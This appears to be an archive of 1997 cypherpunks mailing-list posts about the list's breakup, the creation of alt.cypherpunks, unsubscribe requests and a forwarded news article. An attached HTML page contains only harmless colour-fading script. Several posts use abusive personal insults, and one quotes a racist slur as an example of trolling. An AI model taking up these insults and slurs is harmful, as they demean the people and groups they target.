From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: webmaster@extensis.com
Date: Wed, 12 Feb 1997 16:11:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Extensis CyberViewer Registration
Message-ID: <199702130011.QAA09575@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Gringo,

Thank you for registering your copy of CyberViewer with Extensis!

Your CyberViewer serial number is: JME-100-001-936-690721

Please save this message for your records.

Visit <http://www.extensis.com/products/CyberViewer/> for more information about CyberViewer news & updates!

Thanks for using Extensis CyberViewer!

Jeff Cheney
Product Marketing Manager
jcheney@extensis.com










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zac speidel <speidel@lightspeed.net>
Date: Wed, 12 Feb 1997 16:12:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: security
Message-ID: <199702130012.QAA09626@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


does any 1 here a hacker???
--=====================_855792302==_
Content-Type: TEXT/HTML; CHARSET=us-ascii
Content-ID: <Pine.SUN.3.91.970212160438.11558F@crl.crl.com>

<BASE HREF="www.well.com/user/fritoy/sample.html">

<html>
<title>Skinhead Oi Oi</title>

<script>
<!-- // Property of speidel@lightspeed.net
function initArray() {
  this.length = initArray.arguments.length
  for (var i = 0; i < this.length; i++)
    this[i+1] = initArray.arguments[i]
}

var hexChars = "0123456789ABCDEF";

function Dec2Hex (Dec) {
  var a = Dec % 16;
  var b = (Dec - a)/16;
  hex = "" + hexChars.charAt(b) + hexChars.charAt(a);
  return hex;
}

function bgChanger (begin, end, steps) {
  steps = steps -1 ;

  redA     = begin.charAt(0) + begin.charAt(1);
  red_valA = parseInt(redA,'16');
  redB     = end.charAt(0) + end.charAt(1);
  red_valB = parseInt(redB,'16');
  red_int  = ((red_valB - red_valA) / steps) * -1;
  grnA     = begin.charAt(2) + begin.charAt(3);
  grn_valA = parseInt(grnA,'16');
  grnB     = end.charAt(2) + end.charAt(3);
  grn_valB = parseInt(grnB,'16');
  grn_int  = ((grn_valB - grn_valA) / steps) * -1;
  bluA     = begin.charAt(4) + begin.charAt(5);
  blu_valA = parseInt(bluA,'16');
  bluB     = end.charAt(4) + end.charAt(5);
  blu_valB = parseInt(bluB,'16');
  blu_int  = ((blu_valB - blu_valA) / steps) * -1;

  step = 2;
  red = red_valA;
  grn = grn_valA;
  blu = blu_valA;

  document.bgColor = begin;

  while ( steps >= step ) {
    red -= red_int;
    red_round = Math.round(red);
    red_hex = Dec2Hex(red);

    grn -= grn_int;
    grn_round = Math.round(grn);
    grn_hex = Dec2Hex(grn);

    blu -= blu_int;
    blu_round = Math.round(blu);
    blu_hex = Dec2Hex(blu);

    document.bgColor = red_hex + grn_hex + blu_hex;
//    document.write("<br>bgcolor = " + red_hex + grn_hex + blu_hex);

    step++;
  }
  document.bgColor = end;
}
// -->

</script>
</head>

<body bgcolor=#000000 text=#FFFFFF link="FF0000" vlink="8888FF" alink="FF00FF">
<script>

<!-- 
// black to black (pause)
  bgChanger("000000","000000",25);
// black to red
  bgChanger("000000","FF0000",25);
// red to black
  bgChanger("FF0000","000000",25);
// black to purple 
  bgChanger("000000","AA00EE",25);
// purple to black
  bgChanger("AA00EE","000000",25);
// black to blue
  bgChanger("000000","0000FF",25);
// blue to black
  bgChanger("0000FF","000000",25);
// black to blue (pause)
  bgChanger("000000","0000FF",25);
// -->

<!--Begin
var id,pause=0,position=0;
function  scroller()  {
var a,b,msg=document.forma.david.value;
        
        a= (100/msg.length)+1;
        for (b=0;b<=a;b++) msg+="  "+msg;
        document.forma.scroller.value=msg.substring(position,position+100);
        if(position++==200) position=0;
        id=setTimeout("scroller()",150);  
}

// end  -->

</script>
</head>

<body>
<BODY BGCOLOR=000000 text="#000000" link="#0000ff" vlink="#c00c0" onload="scroller()">
<CENTER><FORM>
<BR><BR><BR>
<input type="button" Value="Close" onClick="if (confirm('Are you sure you want to close this window?'))window.close();else (alert('OK, this window will not close yet.'))">
</FORM></CENTER>
<BR>
<CENTER><P><FORM name="forma"><INPUT NAME="david" VALUE="    Speidel@lightspeed.net The End Is HERE!!! The world is falling apart" type="hidden" ><INPUT NAME="scroller" VALUE="" size="35"></FORM></P>
</CENTER>

</BODY>
</html>




--=====================_855792302==_--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:56:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks is born.
Message-ID: <199702122056.MAA04581@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Hi all,

I crossposted the first post to the usenet group to here but just to 
make sure you all get the message I have created alt.cypherpunks.

Even if it is only a temporary measure it will be a forum from which 
we can establish something better. 

Fuck you John, we should have done this a long time ago.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Bray <tbray@textuality.com>
Date: Wed, 12 Feb 1997 21:11:13 -0800 (PST)
To: "Timothy C. May" <ichudov@algebra.com>
Subject: Re: List for discussing many majordomos
Message-ID: <199702130511.VAA29200@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


some idiot subscribed me.

I know how to use majordomo
I know how to read mail headers
Majordomo says that the address that it is sending this shit to is not
 on the list
Much & all as I sympathize with the ethos and practice of cypherpunkery,
 please stop.  
I have asked in the proper approved way many times, and am still deluged.  
GET ME OFF THIS LIST!
Thank you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KENNETH A. LEONE" <70401.3161@CompuServe.COM>
Date: Wed, 12 Feb 1997 16:41:03 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Remove My Name
Message-ID: <199702130041.QAA10351@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I CONTINUE TO  RECEIVE MAIL.  PLEASE REMOVE MY NAME FROM THE MAILING LIST.
THANK YOU






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: George Leerhuber <lerhuber@joshuanet.com>
Date: Wed, 12 Feb 1997 22:26:01 -0800 (PST)
To: Path:  ;
Subject: Unsubcribe
Message-ID: <199702130626.WAA04412@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Unsubcribe <lerhuber@joshuanet.com>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 21:13:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702130513.VAA29410@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--=====================_855820976==_
Content-Type: TEXT/PLAIN; CHARSET=us-ascii
Content-ID: <Pine.SUN.3.91.970212205911.8620J@crl8.crl.com>

you are forwarding messages to me... stop it.

remove markk@ra1.randomc.com from your mail list...


all of a sudden I'm getting mail from bunches of people

i don't know and who don't know me.


help me out... go to the place where you got my email

address and have them correct their links.




Thank you.              markk
--=====================_855820976==_--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Wed, 12 Feb 1997 21:11:35 -0800 (PST)
To: Mark Krell <markk@randomc.com>
Subject: Re :Re?
Message-ID: <199702130511.VAA29279@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:02 PM 2/12/97 -0500, you nastily wrote in the form of :
:
:Attachment Converted: "c:\remove1.txt"
:
How, do you imagine, did you get on this God-forsaken list? Anger abounds. 

Is this Kismet that you are here now at this crucial moment of the list's evolution?

Perhaps you have something to offer of which you are not aware.

Avail yourself of our hospitality as we implode. Flee not.

There is meaning to this. So our savants have told us.

Speak the words to Majordomo@toad.com in the message panel (no quotes):

"unsubscribe cypherpunks"

Speak only thus.

Bother us no more at our moment of transfiguration.

Hail and farewell, Bro.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Wed, 12 Feb 1997 21:11:58 -0800 (PST)
Subject: FIGHT THE INTERNET TAX
Message-ID: <199702130511.VAA29301@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Subj:  [Fwd: New Internet Tax--Can YOU Afford It?]
Date:  Wed, 12 Feb, 1997 05:00 PM EDT
From:  pentiumpower@internetx.net

You have until tomorrow to protest the new Internet "tax" which the FCC
will be entertaining.  Here is the message which I sent out to everyone
that I could.  I suggest that you spread this message as QUICKLY as
possible.  It is extremely important the FCC be bombarded by messages
and then maybe, just MAYBE, we'll beat this thing!  This is a VERY
SERIOUS ISSUE!!!!  It is extremely important and will determine whether
or not the Internet continues to be available to all of us or just those
who can afford massive fees.  Figure it out, $.10 per minute is $6.00
per hour and this doesn't include your present monthly fees!  Are YOU
going to be willing or able to pay it!

The following is a message which I sent out a week ago.  

The Federal Communications Commission (FCC) is entertaining the
possibility of permitting the telecommunications industry to impose a
per minute charge on Internet Service Providers (ISPs).  This charge
will, obviously, be passed directly on to the user; US!  Needless to
say, this new "tax" will increase the cost of access to the Internet
tremendously!  I strongly believe that this will curtail the growth of
the Internet dramatically.  At a time when access to knowledge and
learning is at an all time high, this additional "tax" will impose an
incredible burden on the average user, to say nothing of very likely
forcing many smaller ISPs out of business.  In addition, this will cause
an extremely adverse affect on the rural user who does not have toll
free access to the larger ISPs, i.e., AOL, Prodigy and others.  If you
feel as I do, drop an Email message to the FCC who has requested
comments.  Their address is:  mailto:isp@fcc.gov  You may "click"
directly on the address which will bring up an Email message box in most
programs.  Add your comments, pro or con, and send it off!  

Deadline for all comments is Thursday, February 13, 1997!

My message follows.
------------------------------------------------------------------------

Allowing the imposition of a per minute charge on Internet use will not
only destroy the growth of the Internet, it flies in the face of
improving the education of our children.  Published figures indicate
that--for the first time in decades--the television is being replaced by
the computer.  This growth, undoubtedly, will be wiped out by this
proposed new "tax".  In addition, to virtually eliminating access to
sources of information over the entire world, no small Internet Service
Provider (ISP) will be able to compete with the larger ones who will be
able to negotiate lower rates.  Another "kick in the pants" to small
business!  

I summarily reject allowing the telecommunications industry to "reach
into the pockets" of those of us who use the Internet (and rely on it)
for our access to information!  This single act--if permitted--will set
back the "information age" decades!

I IMPLORE YOU NOT PERMIT THE IMPOSITION OF THIS NEW TAX"!!!!!!

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|     Put Forth:                                                       |
|                          "Your Best Image"                           |
|                                with                                  |
|               Computer System Configuration & Assistance             |
|          Business Consulting, Guidance & Management Services         |
|             Employer/Employee Human Relations Counseling             |
|             Technical & Business Writing & Graphic Arts              |
|          REsumEs, Interview Training & Employment Counseling         |
|                                                                      |
|   Professional Business Consultants with over 30 Years Experience!   |
|                                                                      |
|       Post Office Box 1438              Telephone (406) 642-3900     |
|    Hamilton, Montana 59840-1438         Fax       (406) 642-3993     |
|                                                                      |
|              Email                           World Wide Web          |
|   mailto:info@yourbestimage.com       http://www.yourbestimage.com   |
|______________________________________________________________________|
|             Because e-mail can be altered electronically,            |
|       the integrity of this communication cannot be guaranteed.      |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 22:55:55 -0800 (PST)
To: cypherpunks@algebra.com
Subject: [STATS] Cypherpunks-unedited subscriptions
Message-ID: <199702130655.WAA06378@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Total subscribers for cypherpunks-unedited:
-------------------------------------------
Tue 14 Jan: 13
Wed 15 Jan: 15
Thu 16 Jan: 13
Fri 17 Jan: 15
Tue 21 Jan: 28
Fri 24 Jan: 30
Mon 27 Jan: 34
Tue 04 Feb: 43
Tue 11 Feb: 62

When Gilmore made his pronouncement that "the subscribers have spoken",
only a minority of the "real" subscribers were on the -unedited list.

Since the above figures don't include Sandfort's entry, the jump to
62 as of yesterday (despite the discontinuance) easily represents
the majority of the active (real) subscribers.  Another blood stain
on Gilmore's shroud, as it were.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 21:11:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: your mail
Message-ID: <199702130511.VAA29289@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Subject: Re: your mail
>To: markk@randomc.com (Mark Krell)
>Date: Wed, 12 Feb 1997 20:59:32 -0600 (CST)
>Reply-To: ichudov@algebra.com (Igor Chudov)
>From: ichudov@algebra.com (Igor Chudov @ home)
>X-No-Archive: yes
>Organization: Bool Sheet Software
>
>I do not think that you are on one of my mailing list.
>
>If you think that you are, please send me one of the sample messages
>WITH FULL HEADERS that came to you frm my list.
>
>I am willing to help you.
>
>	- Igor.
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 16:41:56 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: John Gilmore the fascist cocksucker
Message-ID: <199702130041.QAA10394@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




> Why you are doing this, Paul?
> 
> 	- Igor.

It would appear that someone I gave my password to the other day (I 
recieve no sensitive mail through this account) so they could use it 
to test a machine has a rather infantile sense of humour and have 
taken my critical posts to the list to mean that I want to spam a 
mailing list with dreck like this.

I shall ensure the offending fool is castrated forthwith...

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 22:11:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re :Re?
Message-ID: <199702130611.WAA03597@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>X-Sender: camcc@smtp1.abraxis.com
>Date: Wed, 12 Feb 1997 22:36:16 -0500
>To: Mark Krell <markk@randomc.com>
>From: camcc@abraxis.com (Alec)
>Subject: Re :Re? 
>Cc: cypherpunks@toad.com
>
>At 10:02 PM 2/12/97 -0500, you nastily wrote in the form of :
>:
>:Attachment Converted: "c:\remove1.txt"
>:
>How, do you imagine, did you get on this God-forsaken list? Anger abounds. 
>
>Is this Kismet that you are here now at this crucial moment of the list's
evolution?
>
>Perhaps you have something to offer of which you are not aware.
>
>Avail yourself of our hospitality as we implode. Flee not.
>
>There is meaning to this. So our savants have told us.
>
>Speak the words to Majordomo@toad.com in the message panel (no quotes):
>
>"unsubscribe cypherpunks"
>
>Speak only thus.
>
>Bother us no more at our moment of transfiguration.
>
>Hail and farewell, Bro.
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 16:41:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam posts from my acct.
Message-ID: <199702130041.QAA10399@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Cpunks,


A number of spam mails (I counted about 100 in my incoming mail) were 
sent to the list from my account last night.

I do not take particular precautions with my password for this 
account as there is no sensitive mail sent through it, I recall in 
particular giving the password to someone to test out a machine 
recently and I believe they may be the culprit. 

Again, my appologies for the inconvenience and you have to admit that 
while his method may have been less than subtle his message was 
certainly something we can all relate to ;-)


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Thu, 13 Feb 1997 08:56:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale-Further proof
Message-ID: <199702131656.IAA05974@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Yet another Dale day (blah):

:Date: Wed, 12 Feb 1997 22:37:58 -0800
:From: Dale Thorn <dthorn@gte.net>
:To: cypherpunks@toad.com
:CC: dlv@bwalk.dm.com

:Another blood stain on Gilmore's shroud, as it were.

As further evidence that Dale is unworthy to participate in any socially interactive behaviour other than grinding (that is, grinding) his nose in the naysayers, collective ass, I submit that he posts mixed and otherwise unclear metaphores.

Ipso facto.

As difficult as the good doctor can be, Dale is not intellectually worthy to lick his boots, though he tries.

And, cc: Doctor V., no less. What cabal is this with cc's in the clear? 

Love you, fella.
(You can tell, can't you.) 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 14 Feb 1997 09:00:36 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702141700.JAA10634@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The provocateurs won.
Too bad.  Seems Cpunks caved to the simplest of attacks.
Proves you don't need key-escrow or any of the rest to 
  ahem, "affect" unfettered discourse in cyberspace.




At 11:23 PM 2/13/97 -0800, you wrote:
>Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST)
>From: Declan McCullagh <declan@well.com>
>To: fight-censorship@vorlon.mit.edu
>
>The Netly News Network
>http://netlynews.com/
>
>A List Goes Down In Flames
>by Declan McCullagh (declan@well.com)
>February 12, 1997
>   
>       The plan for the cypherpunks mailing list was simple. It was to be
>   an online gathering place, an intellectual mosh pit, dedicated to the
>   free flow of ideas and personal privacy through encryption.
>   
>       Of course it caught on. From its modest beginnings connecting a
>   few friends who lived in Northern California, it quickly grew into one
>   of the most rowdy, volatile lists on the Net: Cypherpunks typically
>   piped more than 100 messages a day into the mailboxes of nearly 2,000
>   subscribers. And the list became a kind of crypto-anarchist utopia.
>   Populated by pseudonymous posters with names like Black Unicorn, it
>   was a corner of cyberspace where PGP signatures and digital cash were
>   the norm -- and there were no rules. Then yesterday came the news: The
>   list was being evicted and faced imminent shutdown.
>   
>       In an e-mail seen 'round the Net, John Gilmore, Electronic
>   Frontier Foundation cofounder and list maintainer, announced that he
>   was no longer willing to provide a virtual home for the cypherpunks.
>   In a post entitled "Put Up or Shut Up," he described how his efforts
>   to improve the list through moderation were condemned, how technical
>   problems were consuming more of his time, how pranksters had tried to
>   subscribe the entire U.S. Congress to the list. How this experiment in
>   crypto-anarchy had failed. He gave the cypherpunks 10 days to find new
>   lodgings.
>   
>       "The last straw for me was seeing the reaction of the list to
>   every attempt to improve it. It was to carp, to cut it down, to say
>   you're doing everything wrong," Gilmore told me yesterday night. One
>   of the first employees of Sun, Gilmore quit after eight years -- a
>   millionaire more interested in pursuing ideas than dollars. But his
>   experiment with the list has left him weary. "If everything I'm doing
>   is wrong, I'm clearly not the right person to host the list," he said.
>   
>       "I would like to see some other structure in which the positive
>   interactions on the list could continue. I'm not trying to create that
>   structure anymore," he added. Instead, he would try the only true
>   crypto-anarchist solution: "I'm handing it over to members to do what
>   they wish with it."
>   
>       The cypherpunks first pierced the public's consciousness when
>   Wired magazine splashed them across the cover of the second issue. The
>   Whole Earth Review and the Village Voice followed soon after. The name
>   "cypherpunk" came to be synonymous with a brash young breed of
>   digerati who were intent on derailing the White House's encryption
>   policies and conquering cyberspace. This was crypto with an attitude.
>   
>       Gilmore was typical of the breed. Monthly Bay Area meetings of the
>   'punks were held in the offices of Cygnus, a company he started to
>   provide support for the free Unix alternative, GNU.
>   
>       But the veteran cypherpunk came under heavy fire in November 1996,
>   when a loudmouthed flamer flooded the list with flame bait and ad
>   hominem attacks on various members. Finally, Gilmore, ironically, gave
>   him the boot -- and incited an all-consuming debate over what the
>   concept of censorship means in a forum devoted to opposing it. In a
>   society of crypto-anarchists, who should make the rules? The mailing
>   list melted down. By last month, it seemed, more messages complained
>   about censorship than discussed crypto.
>   
>       Indeed, for months Gilmore seemed unable to do anything right. He
>   tried moderation, which proved to be even more contentious, raising
>   the question of empowering one cypherpunk to decide what was
>   appropriate for others to read. One member of the group, in effect,
>   would be more equal than the rest. And why would members take the time
>   to write elaborate, thoughtful articles on crypto-politics if their
>   treatises might not make it past the moderator's keyboard?
>   
>       After the expulsion, some of the longtime list denizens left
>   angrily, joining the 700 subscribers who had departed since the
>   controversy began. One of those was Tim C. May, a crusty former Intel
>   engineer who prides himself as the organizer of the first cypherpunk
>   meeting in September 1992. In an essay summarizing the reasons for his
>   departure, he wrote: "The proper solution to bad speech is more
>   speech, not censorship. Censorship just makes opponents of 'speech
>   anarchy' happy -- it affirms their basic belief that censors are
>   needed."
>   
>       After all, May pointed out, the list ended up on Gilmore's
>   toad.com machine only by happenstance -- it almost was housed on a
>   workstation at the University of California at Berkeley. Ownership of
>   the computer with the database of subscribers did not mean that
>   Gilmore owned the cypherpunks. "Whatever our group once was, or still
>   is, is not dependent on having a particular mailing list running on
>   someone's home machine... and it cannot be claimed that any person
>   'owns' the cypherpunks group," May wrote.
>   
>       The cypherpunks have responded to Gilmore's eviction notice. List
>   participants generally have halted the incessant attacks on Gilmore,
>   and now the discussion has turned to how to continue this experiment
>   in online anarchy -- while preventing one person from ever again
>   having absolute control of the List. Within hours of Gilmore's
>   announcement, posters were tossing around ideas of a distributed
>   network of mailing lists that would carry the cypherpunk name, and
>   other 'punks likely will migrate to the more tightly controlled
>   coderpunks and cryptography lists.
>   
>       But for the true believers in crypto-anarchy, only one solution is
>   adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no
>   precedent... for halting distribution of Usenet newsgroups," Tim May
>   wrote. That, in the end, is what defines a cypherpunk.
>   
>###
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 13 Feb 1997 08:11:34 -0800 (PST)
To: Cypherpunks <cypherpunks@algebra.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702131611.IAA04916@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com writes:
> > > 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
> > > corprate news servers that don't carry alt.* (or even soc.*). Note that
> > > soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
> > > Another possibility is sci.crypto.cypherpunks. (True, people whose corporat
> > > newsservers don't carry soc.* and talk.* can use dejanews - provided their
> > > firewall lets them.)
> >
> > > 2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
> > > It takes a vote. I'm willing to be one of the proponents and generally help
> > > with the process. (Both I and Igor have been co-proponents of major Usenet
> > > newsgroups - don't know about other people onthis list. :-)
> >
> > Not only it takes a vote. What is more important is what a vote gives:
> > a good discussion of the newsgroup and the formal RFD/RFD/CFV process
> > ensures that, on average, a good balance is found between various groups
> > of readers.
> >
> > I am not concerned as to what the name of the group will be, it is
> > not important. What is important is that it should be in a more or
> > less flame-free zone.
> 
> I'm concerned about smart people stuck behind corporate firewalls
> and able to see comp.* and sci.*. Nearly every big Wall St firm
> is that way. Did I ever relate to you the story how I had to
> break through the firwall at GS to accomplish mywork?

Would be interesting.

> > It is too late to stop alt.cypherpunks, but if I had to make a
> > prediction again, I would predict that soon posters will BEG to help
> > them create comp.*.cypherpunks, because of spam and alt.flamage.
> 
> Timmy has a valid point: the reason why a comp.* newsgroup might have less
> cross-posted and "off-topic" crap is because net.cops would be more
> likely to complain to posters' sysadmins. Having a charter state that
> cypherpunks have technical means to ignore traffic they don't like,
> and don't need anyone forging cancels or complaining to sysadmins
> or otherwise getting silenced, is a good idea.

It is not only because of that. There are two categories of people
who simply do not visit com.* groups: sex spammers and trollers
(who post articles like I RAPED A NIGGER CHILD to tens of newsgroups).

If the group is created in a space that is isolated from them, that is
already good.

As for net.cops, check out what Scott Nudds does in comp.lang.c++

> What's going to happen when (not if) someone posts something in
> alt.cypherpunks that Chris Lewis (spit) judges to be "spam"
> and forges a cancel? Or someone posts a binary and Richard
> "little dick" Depew forges a cancel?

Chris Lewis can exclude newsgroups from his spam watch. I think that
if cypherpunks put something forbidding third party cancels into the
charter, he will not cancel stuff posted there.

> > > 3. An unmoderated Usenet newsgroup would have even ore crap than this maili
> > > list. I've been thinking of how to deal with crap, and with the obvious des
> > > by some people to delegate their decision what to read and what not to read
> > > to other people.
> >
> > It is alt.* and soc.* that has most crap, sci and comp are way better.
> 
> There's a bunch of net.cops in e.g. comp.lang.eiffel that complain to
> sysadmins of anyone posting to that newsgroup who's in a member of the
> "in" crowd". It may or may not cut down on the crap, but is it worth it?

Yes, there is a notorious net.cop The Right Reverend Colin James III (spit).

A sample of his stukachestvo is attached at the bottom of this letter.


>From ares.csd.net!cjames  Fri Dec  8 00:00:29 1995
Return-Path: <cjames@ares.csd.net>
Received: from ares.csd.net by espcbw.stat.ncsu.edu.stat.ncsu.edu with smtp
        (Smail3.1.29.1 #5) id m0tNxjG-000EDPC; Fri, 8 Dec 95 00:00 PST
Received: by ares.csd.net (5.65/DEC-Ultrix/4.3)
        id AA08055; Thu, 7 Dec 1995 22:02:44 -0700
Message-Id: <9512080502.AA08055@ares.csd.net>
From: cjames@ares.csd.net (Colin James III (The Rt Rev'd))
To: ichudov@espcbw.stat.ncsu.edu (Igor Chudov),
        postmaster@espcbw.stat.ncsu.edu, postmaster@stat.ncsu.edu,
        postmaster@ncsu.edu
Subject: Re: Nauseating typedefs -- pros and cons
Date: Fri, 08 Dec 1995 03:13:53 GMT
Organization: CEC Services
Reply-To: cjames@ares.csd.net
References: <461dph$ske@saba.info.ucla.edu> <48np3j$1b4@solutions.solon.com> <4a
7rpv$fj@taco.cc.ncsu.edu>
X-Mailer: Forte Agent .99b.112
Status: RO

On 7 Dec 1995 23:02:23 GMT, ichudov@espcbw.stat.ncsu.edu (Igor Chudov)
wrote with possible deletions:

| Douglas Evan Cook (cookd@bert.cs.byu.edu) wrote:
| *                     The real question comes down to: when do you need to 
| * use INT32 or INT16?  Usually, you only need it when you are saving info 
| * to a disk or when you need to make sure that your numbers won't 
| * overflow.  A little bit of hardware control is also given.  But when you 
| * don't get those advantages, a plain int is just great.
| 
| It is NOT great at all. Each variable is associated with a range of
| values. This range of values comes from the requirements of external world. 
| Say, some program _must_ be required by business rules to store
| $$ amount as an integer value, and it may be specified in the
| requirements that $$amount cannot be more than $1,000,000. If I,
| as a careless programmer, program variable dollar_amount as int
| just because my RS6000 has 32-bit ints, this program will NOT be
| portable to 16-bit computers.
| 
| You can invent an untold amount of such situations. If I defined
| DollarAmount_t as UINT32, I would effectively avoid this trouble.
| 
| * So for your scanf 
| * vars, just use ints.  Then do range checking and then assign them into 
| * the UINT16 type or whatever only if you need to.
| 
| The solution is very simple and cool (IMHO). 
| 
| In the same file where you define INT16, UINT32, etc, add the following: 
| 
| #ifdef AIX
|   typedef long INT32;
|   #define F_INT32 "ld"
| 
|   typedef unsigned short UINT16;
|   #define F_UINT16 "u"
| #endif
| 
| #ifdef YOUR_FAVORITE_MACHINE
|   typedef short INT32; // Maybe for 64-bit machines, never worked with them
|   #define F_INT32 "d"
| ... etc etc ...
| 
| Then you define your user types: 
| 
|   typedef INT32 DollarAmount_t;
|   #define DollarAmount_f INT32_F // You make it a rule to define
|                                  // formats right along with types
| 
| Usually, in scanf (and printf) people write things like this: 
| 
|       printf( "%ld is the dollar amount for customer %4.4d\n", 
|               amount, cust );
| 
| Instead, you write
| 
|       printf( "%" DollarAmount_f " is the dollar amount for customer "
|               "%4.4" Cust_f,
|               amount, cust );
| 
| It is a totally portable code. All you need to port primitive types 
| is to recompile it.
| 
| -- 
|    - Igor. (My opinions only) http://www.algebra.com/~ichudov/index.html
|    For public PGP key, finger me or send email with Subject "send pgp key"
| 
| You know you have achieved perfection in design, not when you have nothing 
| more to add, but when you have nothing more to take away.
|                           - Antoine de Saint Exupery.

Kindly remove comp.lang.eiffel from distribution of this thread.

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
Colin James III, Principal Scientist           cjames@csd.net
CEC Services, 2080 Kipling St, Lakewood, CO  80215-1502   USA
Voice: 303.231.9437;  Facsimile: .231.9438;  Data:  .231.9434  
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rhode Island Business Net <ici@ici.net>
Date: Thu, 13 Feb 1997 11:58:40 -0800 (PST)
To: you@uhura.ici.net
Subject: RAM CHIP SALE!
Message-ID: <199702131958.LAA09863@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: George Leerhuber <lerhuber@joshuanet.com>
Date: Thu, 13 Feb 1997 17:11:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: unsubcribe
Message-ID: <199702140111.RAA15616@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBCRIBE <lerhuber@joshuanet.com>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 17:26:59 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702140126.RAA15935@toad.com>
